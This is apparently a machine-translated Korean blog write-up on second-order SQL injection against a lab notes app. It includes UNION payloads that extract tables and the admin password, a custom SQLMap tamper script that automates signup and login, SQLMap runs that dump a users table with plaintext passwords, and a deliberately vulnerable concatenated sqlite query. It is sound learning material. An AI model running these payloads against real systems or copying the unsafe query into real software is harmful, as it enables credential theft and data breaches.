2차 SQL 인젝션 악용
나는 이것을 발견했고 매우 매력적이지만 이해하기에는 매우 추상적이며 이용하기 어렵다는 것을 알았습니다. 그러나 이러한 유형의 (SQLi) 취약점을 악용하는 방법을 배우면서 시야를 넓히고 SQLMap 기술을 강화했으며 서버 측 애플리케이션 워크플로 내에서 사용자 입력이 처리되는 방식을 더 잘 이해할 수 있었습니다.
이 게시물에서 나는 다음에 대해 쓸 것입니다.
- 일반적으로 2차 SQLi,
- 필요한 전제 조건,
- 식별하는 방법,
- 수동으로 악용하는 방법 및
- 커스텀 SQLMap 탬퍼 스크립트로 익스플로잇을 자동화하는 방법.
기본 사항
간단히 말해서, 1차 SQL 삽입 중에 공격자는 입력 매개변수(주입 지점)를 사용하여 취약한 서버 응용 프로그램에서 수행되는 SQL 쿼리를 조작합니다. 서버는 사용자 제공 입력을 사용하여 백엔드 데이터베이스 내에서 데이터를 읽고, 쓰고, 업데이트하고, 삭제하는 등의 작업을 수행하기 위해 SQL 쿼리를 작성합니다. 사용자가 제공한 입력이 안전한 방식(삭제, 유효성 검사)으로 처리되지 않으면 공격자는 실행된 SQL 쿼리를 조작하여 DBMS에서 악의적인 작업을 수행하는 페이로드를 제공할 수 있습니다. 1차 SQLi의 특징은 악의적인 SQL 쿼리가 페이로드 주입의 직접적인 결과로 실행된다는 것입니다. 공격자는 악성 페이로드를 실행하기 위해 두 번째 작업을 수행할 필요가 없습니다.
1차 SQL 주입을 쉽게 방지하는 방법에는 여러 가지가 있습니다. 준비된 명령문 또는 매개변수화된 입력 처리를 사용하는 것은 그 중 일부에 불과합니다. 그러나 요즘 개발자들은 사용자 제공 입력이 안전한 방식으로 처리되어야 한다는 것을 알고 있을 것입니다. 그러나 이미 데이터베이스에 저장된 데이터를 안전하게 처리하는 것을 잊는 경우가 많습니다. 여기에서 2차 SQLi가 작동합니다.
이해를 돕기 위해 다음과 같은 시나리오를 가정해 보겠습니다. 응용 프로그램을 통해 사용자는 사진을 업로드하고 데이터베이스에 저장할 수 있습니다. 테이블에는 다음에 대한 열이 있습니다.
- 사진 고유 ID,
- 그림 그 자체,
- 사진의 파일 이름,
- 응용 프로그램 사용자의 사진 보기에 대한 카운터입니다.
POST /upload HTTP/1.1
Host: www.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 705
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="example.jpg"
Content-Type: image/jpeg
[binary data of the picture file goes here]
------WebKitFormBoundary7MA4YWxkTrZu0gW--
import sqlite3
conn = sqlite3.connect("pictures.db")
cursor = conn.cursor()
filename = [filename of the picture file from the HTTP POST request]
data = [binary data of the picture file from the HTTP POST request]
cursor.execute("INSERT INTO pictures (filename, data, views) VALUES (?, ?, ?)", (filename, data, 0))
conn.commit()
conn.close()
앞에서 언급했듯이 데이터베이스 테이블 'pictures'에는 세 번째 열 'views'가 있습니다. 사용자가 사진을 볼 때마다 이 카운터는 1씩 증가합니다. 또한 사용자가 사진의 상세 보기를 열면 응용 프로그램은 사용자에게 카운터를 반환합니다. 따라서 코드의 특정 지점에서 애플리케이션은 다음과 같이 보일 수 있습니다.
import sqlite3
conn = sqlite3.connect("pictures.db")
cursor = conn.cursor()
filename = [filename of the picture extracted from database]
cursor.execute("SELECT views FROM pictures WHERE filename = '" + filename + "';")
result = cursor.fetchone()
views = result[0]
conn.close()
2차 SQLi의 전제 조건
이제 이 짧은 소개를 마치고 2nd Order SQLi의 전제 조건과 특성을 정의해 보겠습니다.
- 응용 프로그램은 어떻게든 첫 번째 단계 동안 응용 프로그램 내에서 사용자 입력의 저장을 허용합니다. 이것은 예를 들어 애플리케이션의 메모리 공간이나 백엔드 DBMS에 있을 수 있습니다.
- 공격자는 애플리케이션이 첫 번째 단계에서 삽입된 사용자 입력을 사용하는 SQL 쿼리를 실행하도록 두 번째 단계를 수행할 수 있습니다.
- 응용 프로그램은 악의적인 사용자 입력(1단계에서)을 기반으로 쿼리를 수행하는 동안(2단계 동안) 안티 SQLi 기술을 사용하지 않습니다.
이러한 취약점을 식별하는 것은 애플리케이션 아키텍처 및 구현의 복잡성과 추적 가능성에 따라 매우 어려울 수 있습니다.
백엔드 DBMS와 상호 작용할 수 있는 작업을 수행하는 동안 애플리케이션 기능의 실행 흐름을 상상해 보십시오.
첫째, 물론 항상 고전적인 1차 SQL 주입을 테스트해야 합니다. 그러나 아무 것도 작동하지 않고 주입 요청을 처리하는 동안 일부 방어가 사용된다고 가정해야 하는 경우 한 단계 더 나아가 응용 프로그램의 다른 기능/영역에서 입력이 처리될 수 있는 지점을 상상해 보십시오. 몇 가지 가능한 2차 실행 지점을 식별한 경우 이 지점에서 애플리케이션이 수행하는 쿼리를 상상해 보십시오. 다음으로 2차 실행 지점에서 수행한 쿼리를 활용할 수 있는 방식으로 인젝션 페이로드를 빌드하고 결과를 확인합니다.
해당 프로세스를 자동화하는 것은 약간 복잡할 수 있지만 많은 시간을 절약하는 데 도움이 될 수 있습니다. 그러나 SQLMap과 같은 도구를 사용하여 악용 프로세스를 자동화하려면 응용 프로그램 서버측 실행 흐름, 영향을 받는 쿼리 문자열 등을 잘 이해하는 것이 절대적으로 필요합니다. 따라서 응용 프로그램에서 촬영하지 말고 최선을 다하십시오. 성공 가능성을 높이기 위해 최종 SQLMap 공격 명령을 준비하기 전에 가능한 한 응용 프로그램에 대해 자세히 살펴보십시오.
수동 분석 및 악용
따라서 실용적인 예에서 이를 시연하기 위해 다음과 같은 일반적인 애플리케이션 구성 요소와 함께 취약한 애플리케이션("Vulnerable Notes")을 사용하겠습니다.
- 로그인,
- 가입하기,
- 프로필,
- 비밀번호 변경,
- 메모하기,
- 로그 아웃.
먼저 잠재적인 SQL 주입 지점을 식별하기 위해 브라우저로 애플리케이션을 분석했습니다.
가입 기능은 사용자 이름이 이미 사용되고 있는지 확인하기 위해 일종의 SELECT 쿼리를 수행하고 내 사용자를 등록하기 위해 INSERT 쿼리를 수행합니다.
사용자를 생성하고 로그인 페이지로 이동했습니다. 이 페이지는 사용자가 제공한 자격 증명을 사용하고 데이터베이스에서 일종의 SELECT 문을 수행하여 자격 증명을 확인합니다.
인증 후 사용자는 홈 페이지로 리디렉션됩니다. 사용자 이름은 페이지 상단에 표시됩니다. 따라서 애플리케이션이 이 시점에서 데이터베이스에서 사용자 이름을 추출하기 위해 SELECT 쿼리를 수행할 수 있습니다.
이 시작 지점에서 사용자는 /notes 끝점에서 메모 작성과 같은 사용자 관련 작업을 수행할 수 있습니다. 사용자 이름은 "Welcome" 제목의 두 번째 위치에 표시됩니다. 애플리케이션이 사용자 이름을 다시 요청하기 위해 SELECT 쿼리를 수행할 수 있습니다.
이 기능이 사용되는 경우 응용 프로그램은 데이터베이스에서 일종의 INSERT 문을 수행할 가능성이 높습니다. 메모를 한 후에는 같은 페이지의 양식 아래에서 볼 수 있습니다.
메모를 표시하기 위해 애플리케이션은 어떻게든 데이터베이스에서 SELECT 쿼리를 수행하여 저장된 메모를 요청합니다.
응용 프로그램은 "암호 변경" 기능도 제공하지만 페이지의 메시지는 이 기능이 구현되지 않을 수 있음을 나타냅니다.
그러나 구현된 경우 데이터베이스에서 일종의 UPDATE 쿼리를 수행할 가능성이 높습니다. 그 벡터를 먼저 제거하고 싶었기 때문에 함수를 시도했지만 성공하지 못했습니다. 기능이 구현되지 않은 것으로 확인되었습니다.
1차 SQLi에 대한 접근 방식에 이어 다음으로 수행한 작업은 잠재적인 모든 SQL 쿼리에 대한 요약을 만드는 것이었습니다. 이 시점에서 저는 이러한 쿼리가 어떻게 생겼는지 상상해 봅니다. 실제로 이렇게 생겼는지 확실하지 않지만 백엔드 작동 방식을 이해하는 데 도움이 됩니다.
등록하다
-- Check if the username is taken
SELECT username FROM users WHERE username=MY_INPUT_USERNAME
-- Insert the new username into the database
INSERT INTO users (username, password) VALUES (MY_INPUT_USERNAME,MY_INPUT_PASWORD)
-- Check if there is an user id where the provided credentials actually match.
-- If an id is returned, the user is logged in. If not, the login attempt failed.
SELECT id FROM users WHERE username=MY_INPUT_USERNAME AND password=MY_INPUT_PASSWORD
-- Request the username from the database to display the name on the top of the home mage
SELECT username FROM users WHERE id=USER_ID_REQUESTED_DURING_LOGIN
-- Request the username from the database to display within the heading.
SELECT username FROM users WHERE id=USER_ID_REQUESTED_DURING_LOGIN
-- Request previous taken notes to display them on the page
SELECT heading, note FROM notes WHERE username=USERNAME_QUERIED_FROM_DB
-- Inserts a new note into the database
INSERT INTO notes (heading, note, username) VALUES (MY_HEADING,MY_NOTE,USERNAME_QUERIED_FROM_DB)
2차 접근을 위한 시간입니다.
이미 응용 프로그램을 자세히 분석했으므로 대상 응용 프로그램을 다시 분석할 필요가 없습니다. 대신, 다른 관점/접근 방식으로 응용 프로그램에 대해 이미 얻은 지식을 살펴보는 것으로 충분합니다.
앞서 언급한 2차 SQLi의 전제 조건으로 돌아가서 스스로에게 다음 질문을 던져야 합니다.
응용 프로그램은 어디에서 내 사용자 입력을 가져와 나중에 사용하기 위해 저장하고 나중 단계에서 내가 직접적인 영향을 미치지 않는 다른 쿼리의 일부로 사용합니까?
가능한 후보는 다음과 같습니다.
- 사용자 이름 : 등록 과정에서 응용 프로그램에 사용자 이름을 전달합니다. 사용자 이름은 나중에 /home 페이지와 /notes 페이지에서 쿼리하여 표시합니다. 또한 사용자 이름을 사용하여 데이터베이스에서 특정 사용자의 저장된 메모를 쿼리할 수도 있습니다.
쿼리 결과를 볼 수 있으므로 UNION 기반 악용 시나리오를 다루고 있음을 알고 있습니다. 일반적인 방법론에 따라 먼저 원래 쿼리에 의해 테이블에서 쿼리되는 열 수를 찾아야 합니다. 이를 위해 여러 페이로드를 준비하고 나중에 결과를 분석합니다.
-- The potentially vulnerable query:
SELECT heading, note FROM notes WHERE username=USERNAME_QUERIED_FROM_DB
-- Possible payloads
' UNION SELECT null--comment
' UNION SELECT null,null--comment
' UNION SELECT null,null,null--comment
' UNION SELECT null,null,null,null--comment
...
페이로드는 홈페이지 상단과 /notes 페이지 상단에 예상대로 표시됩니다.
다음으로 메모를 삽입하려고 했는데 놀랍게도 이후에 애플리케이션에서 메모가 표시되지 않습니다!
데이터베이스에서 메모를 요청하는 쿼리가 손상된 것 같습니다. 이것은 물론 페이로드가 내부 쿼리에 영향을 미쳤음을 나타냅니다. 그러나 아무 것도 표시되지 않으므로 쿼리에서 오류가 발생하거나 결과가 반환되지 않는 것 같습니다. 이것은 물론 페이로드에 올바른 열 수를 설정하지 않은 경우 발생할 수 있습니다. 따라서 다른 동작이 나타날 때까지 목록의 다음 페이로드로 이동하겠습니다.
운 좋게도 다음 페이로드가 작동했습니다! "없음" 및 "없음"이 메모의 제목 및 텍스트로 반환되었습니다.
조각 맞추기:
-- The assumed original query:
SELECT heading, note FROM notes WHERE username=USERNAME_QUERIED_FROM_DB
-- The payload
' UNION SELECT null,null--comment
-- The valid manipulated query executed against the database:
SELECT heading, note FROM notes WHERE username='' UNION SELECT null,null--comment
치트 시트의 정보를 수정하고 작동하는 페이로드를 구축했습니다. 새로운 페이로드:
' UNION SELECT null,sqlite_version()--comment
이 시점부터 일반적인 SQLite 악용 흐름(제공된 치트 시트의 페이로드)을 사용하여 전체 데이터베이스를 덤프할 수 있습니다. 프로세스를 자동화하기 전에 더 많은 페이로드를 시도해 보겠습니다.
모든 테이블 이름 추출
' UNION SELECT null, GROUP_CONCAT(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'--comment
' UNION SELECT null, GROUP_CONCAT(sql) FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='users'--comment
' UNION SELECT null,GROUP_CONCAT(username) FROM users--comment
' UNION SELECT null, password FROM users WHERE username='admin'--comment
SQLMap Tamper Script를 통한 자동화된 공격
이 시나리오에서 작업하기 전까지는 SQLMap을 사용하여 1차 SQLi를 활용했습니다. 2차 SQLi도 활용할 수 있는지 궁금합니다. 먼저 터미널을 사용하여 2차 공격과 관련된 SQLMap 옵션을 검색하고 다음을 찾았습니다.
┌──(kali㉿kali)-[~]
└─$ sqlmap -hh | grep -i second
--delay=DELAY Delay in seconds between each HTTP request
--timeout=TIMEOUT Seconds to wait before timeout connection (default 30)
--time-sec=TIMESEC Seconds to delay the DBMS response (default 5)
--second-url=SEC.. Resulting page URL searched for second-order response
--second-req=SEC.. Load second-order HTTP request from file
취약점을 수동으로 악용하는 데 필요한 단계를 기억하십시오.
- "등록" 기능에 인증되지 않은 페이로드 주입.
- "로그인" 기능을 통한 인증.
- "메모" 페이지에 대한 인증된 요청입니다.
나는 SQLMap이 "-변조" 옵션으로 파이썬 스크립트를 실행할 수 있다는 것을 알고 있었다. Tamper script 폴더를 확인하여 내 필요에 맞게 조정할 수 있는 유용한 것을 찾을 수 있는지 확인했습니다. 슬프게도 아니오.
┌──(kali㉿kali)-[~]
└─$ ls /usr/share/sqlmap/tamper
0eunion.py chardoubleencode.py dunion.py ifnull2casewhenisnull.py modsecurityversioned.py plus2fnconcat.py space2hash.py space2randomblank.py versionedkeywords.py
apostrophemask.py charencode.py equaltolike.py ifnull2ifisnull.py modsecurityzeroversioned.py __pycache__ space2morecomment.py sp_password.py versionedmorekeywords.py
apostrophenullencode.py charunicodeencode.py equaltorlike.py informationschemacomment.py multiplespaces.py randomcase.py space2morehash.py substring2leftright.py xforwardedfor.py
appendnullbyte.py charunicodeescape.py escapequotes.py __init__.py ord2ascii.py randomcomments.py space2mssqlblank.py symboliclogical.py
base64encode.py commalesslimit.py greatest.py least.py overlongutf8more.py schemasplit.py space2mssqlhash.py unionalltounion.py
between.py commalessmid.py halfversionedmorekeywords.py lowercase.py overlongutf8.py sleep2getlock.py space2mysqlblank.py unmagicquotes.py
binary.py commentbeforeparentheses.py hex2char.py luanginx.py percentage.py space2comment.py space2mysqldash.py uppercase.py
bluecoat.py concat2concatws.py htmlencode.py misunion.py plus2concat.py space2dash.py space2plus.py varnish.py
sqlmap에 대한 사용자 지정 변조 스크립트를 작성하는 방법
기사에서 다음 템플릿 골격(다시 가져오기 삭제)을 가져와서 custom.py로 저장했습니다.
#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
return payload
함수는 함수 매개변수를 통해 SQLMap 페이로드를 수신하고 조작 후 변조된 페이로드를 반환합니다. 이 기사는 SQLMap의 컨텍스트에서 **kwargs를 사용하는 방법을 설명하지 않았기 때문에 ChatGPT에 요청하여 좋은 답변을 얻었습니다.
익스플로잇을 위한 커스텀 탬퍼 스크립트를 준비하기에 충분해야 합니다. 서버와의 통신을 위해 요청 라이브러리를 사용했습니다.
#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
import requests
def dependencies():
pass
def tamper(payload, **kwargs):
# Create Session object
s = requests.Session()
# Register user with SQLMap payload in username
s.post('http://10.10.204.40:5000/challenge4/signup', data={"username": payload, "password": "anypass"})
# Login malicious username
res = s.post('http://10.10.204.40:5000/challenge4/login', data={"username": payload, "password": "anypass"})
# Get headers from SQLMap
headers = kwargs.get('headers', {})
# Extract session cookie from response
sessId = "session={}".format(s.cookies.get('session', None))
# Pass session cookie to SQLMap cookie header
headers['Cookie'] = sessId
return payload
모든 부분을 종합하면 다음 SQLMap 명령을 사용할 수 있습니다.
┌──(kali㉿kali)-[~]
└─$ sqlmap --url 'http://10.10.204.40:5000/challenge4/signup' --tamper custom.py --data 'username=anyuser&password=anypass' -p username --second-url 'http://10.10.204.40:5000/challenge4/notes' --dbms=sqlite --technique=U --no-cast
___
__H__
___ ___[(]_____ ___ ___ {1.6.7#stable}
|_ -| . [)] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 12:20:46 /2023-02-04/
[12:20:46] [INFO] loading tamper module 'custom'
[12:20:46] [INFO] testing connection to the target URL
got a 302 redirect to 'http://10.10.204.40:5000/challenge4/login'. Do you want to follow? [Y/n] n
[12:20:50] [INFO] checking if the target is protected by some kind of WAF/IPS
[12:20:50] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS
are you sure that you want to continue with further target testing? [Y/n] Y
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] n
[12:21:19] [WARNING] heuristic (basic) test shows that POST parameter 'username' might not be injectable
[12:21:19] [INFO] testing for SQL injection on POST parameter 'username'
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] n
[12:21:27] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[12:21:28] [WARNING] reflective value(s) found and filtering out
[12:21:38] [INFO] target URL appears to be UNION injectable with 2 columns
[12:21:39] [INFO] POST parameter 'username' is 'Generic UNION query (NULL) - 1 to 10 columns' injectable
[12:21:39] [INFO] checking if the injection point on POST parameter 'username' is a false positive
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 34 HTTP(s) requests:
---
Parameter: username (POST)
Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: username=anyuser' UNION ALL SELECT CHAR(113,122,106,120,113)||CHAR(103,122,82,69,113,76,83,83,100,78,100,90,102,118,88,119,107,66,111,81,75,90,80,103,88,97,87,66,66,101,75,100,75,67,100,111,121,85,65,108)||CHAR(113,122,98,113,113),NULL-- nWes&password=anypass
---
[12:22:04] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[12:22:04] [INFO] testing SQLite
[12:22:05] [INFO] confirming SQLite
[12:22:06] [INFO] actively fingerprinting SQLite
[12:22:06] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[12:22:06] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.10.204.40'
[12:22:06] [WARNING] your sqlmap version is outdated
[*] ending @ 12:22:06 /2023-02-04/
┌──(kali㉿kali)-[~]
└─$ sqlmap --url 'http://10.10.204.40:5000/challenge4/signup' --tamper custom.py --data 'username=anyuser&password=anypass' -p username --second-url 'http://10.10.204.40:5000/challenge4/notes' --dbms=sqlite --technique=U --no-cast --current-user --tables
___
__H__
___ ___[(]_____ ___ ___ {1.6.7#stable}
|_ -| . [,] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 12:25:23 /2023-02-04/
[12:25:23] [INFO] loading tamper module 'custom'
[12:25:23] [INFO] testing connection to the target URL
got a 302 redirect to 'http://10.10.204.40:5000/challenge4/login?next=http%3A%2F%2F10.10.204.40%3A5000%2Fchallenge4%2Fnotes'. Do you want to follow? [Y/n] n
[12:25:26] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: username=anyuser' UNION ALL SELECT CHAR(113,122,106,120,113)||CHAR(103,122,82,69,113,76,83,83,100,78,100,90,102,118,88,119,107,66,111,81,75,90,80,103,88,97,87,66,66,101,75,100,75,67,100,111,121,85,65,108)||CHAR(113,122,98,113,113),NULL-- nWes&password=anypass
---
[12:25:26] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[12:25:26] [INFO] testing SQLite
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] n
[12:25:30] [INFO] confirming SQLite
[12:25:30] [INFO] actively fingerprinting SQLite
[12:25:30] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[12:25:30] [WARNING] on SQLite it is not possible to enumerate the current user
[12:25:30] [INFO] fetching tables for database: 'SQLite_masterdb'
[12:25:30] [WARNING] reflective value(s) found and filtering out
<current>
[2 tables]
+-------+
| notes |
| users |
+-------+
[12:25:30] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.10.204.40'
[12:25:30] [WARNING] your sqlmap version is outdated
[*] ending @ 12:25:30 /2023-02-04/
──(kali㉿kali)-[~]
└─$ sqlmap --url 'http://10.10.204.40:5000/challenge4/signup' --tamper custom.py --data 'username=anyuser&password=anypass' -p username --second-url 'http://10.10.204.40:5000/challenge4/notes' --dbms=sqlite --technique=U --no-cast --dump -T users
___
__H__
___ ___[.]_____ ___ ___ {1.6.7#stable}
|_ -| . [)] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 12:26:59 /2023-02-04/
[12:26:59] [INFO] loading tamper module 'custom'
[12:26:59] [INFO] testing connection to the target URL
got a 302 redirect to 'http://10.10.204.40:5000/challenge4/login?next=http%3A%2F%2F10.10.204.40%3A5000%2Fchallenge4%2Fnotes'. Do you want to follow? [Y/n] n
[12:27:02] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: username=anyuser' UNION ALL SELECT CHAR(113,122,106,120,113)||CHAR(103,122,82,69,113,76,83,83,100,78,100,90,102,118,88,119,107,66,111,81,75,90,80,103,88,97,87,66,66,101,75,100,75,67,100,111,121,85,65,108)||CHAR(113,122,98,113,113),NULL-- nWes&password=anypass
---
[12:27:02] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[12:27:02] [INFO] testing SQLite
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] n
[12:27:04] [INFO] confirming SQLite
[12:27:04] [INFO] actively fingerprinting SQLite
[12:27:04] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[12:27:04] [INFO] fetching columns for table 'users'
[12:27:04] [WARNING] reflective value(s) found and filtering out
[12:27:04] [INFO] fetching entries for table 'users'
Database: <current>
Table: users
[49 entries]
+----+---------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| id | password | username |
+----+---------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 1 | rcLYWHCxeGUsA9tH3GNV | admin |
| 2 | asd | dev |
| 3 | Summer2019! | amanda |
| 4 | 345m3io4hj3 | maja
...
그 특성상 이러한 취약점은 웹 애플리케이션 내의 모든 곳에서 나타날 수 있습니다. 개발자가 얼핏 사용자 입력을 적절하게 처리했다고 해서 안티 SQLi 조치가 애플리케이션 전체에 적용되는 것은 아닙니다. 앞으로 저는 눈을 크게 뜨고 응용 프로그램/데이터베이스 작업 흐름을 깊이 있게 이해하고 따르도록 노력할 것입니다.
이 게시물이 마음에 드셨기를 바라며 유사한 시나리오에 도움이 될 수 있습니다. 이 글을 쓰는 것이 정말 즐거웠고 이번 토요일에 많은 새로운 것을 배웠습니다. 좋아요 또는 팔로우와 같은 댓글을 남기고 더 많은 웹 콘텐츠와 곧 일부 AD 인프라 주제에 대해 계속 지켜봐 주시기 바랍니다.
평화

![연결된 목록이란 무엇입니까? [1 부]](https://post.nghiatu.com/assets/images/m/max/724/1*Xokk6XOjWyIGCBujkJsCzQ.jpeg)



































